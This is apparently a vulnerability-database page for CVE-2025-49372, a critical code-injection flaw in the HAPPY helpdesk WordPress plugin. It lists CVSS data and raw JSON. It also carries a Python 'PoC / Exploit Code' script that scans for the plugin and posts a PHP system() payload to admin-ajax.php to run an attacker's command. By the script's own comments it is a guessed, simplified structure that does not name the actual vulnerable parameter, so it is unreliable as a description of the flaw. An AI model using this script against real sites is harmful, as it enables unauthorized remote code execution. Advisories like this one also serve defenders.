Security Vulnerability Report
中文
CVE-2025-49372 CVSS 10.0 CRITICAL

CVE-2025-49372

Published: 2025-11-06 16:15:53
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme HAPPY happy-helpdesk-support-ticket-system allows Remote Code Inclusion.This issue affects HAPPY: from n/a through <= 1.0.7.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

happy-helpdesk-support-ticket-system <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-49372 PoC - Code Injection in happy-helpdesk-support-ticket-system # Target: WordPress site with vulnerable happy-helpdesk-support-ticket-system plugin def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-49372""" # Try to inject PHP code via vulnerable parameter # This is a basic detection PoC vulnerable_paths = [ '/wp-content/plugins/happy-helpdesk-support-ticket-system/', '/wp-content/plugins/happy-helpdesk/', ] for path in vulnerable_paths: test_url = target_url.rstrip('/') + path try: response = requests.get(test_url, timeout=10) if response.status_code == 200: print(f'[+] Plugin found at: {test_url}') return True except: pass return False def exploit_rce(target_url, cmd): """Attempt to exploit CVE-2025-49372 for RCE""" # The actual exploitation would target the vulnerable endpoint # where user input is processed without proper sanitization # Example vulnerable endpoint structure payload = f"<?php system('{cmd}'); ?>" # This is a simplified PoC structure # Actual exploitation may require identifying the exact vulnerable parameter exploit_data = { 'action': 'happy_submit_ticket', 'subject': 'Test Ticket', 'message': payload, 'email': '[email protected]' } # Target the AJAX handler or direct processing endpoint target_endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' try: response = requests.post(target_endpoint, data=exploit_data, timeout=10) print(f'[*] Exploit sent to {target_endpoint}') print(f'[*] Response status: {response.status_code}') return response.text except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-49372.py <target_url> [command]') print('Example: python cve-2025-49372.py http://target.com id') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f'[*] Checking target: {target}') if check_vulnerability(target): print('[+] Target appears to be running the vulnerable plugin') print(f'[*] Attempting RCE with command: {cmd}') result = exploit_rce(target, cmd) if result: print(f'[+] Result: {result}') else: print('[-] Target may not be vulnerable or plugin not found')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49372", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:52.940", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme HAPPY happy-helpdesk-support-ticket-system allows Remote Code Inclusion.This issue affects HAPPY: from n/a through <= 1.0.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/happy-helpdesk-support-ticket-system/vulnerability/wordpress-happy-plugin-1-0-7-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}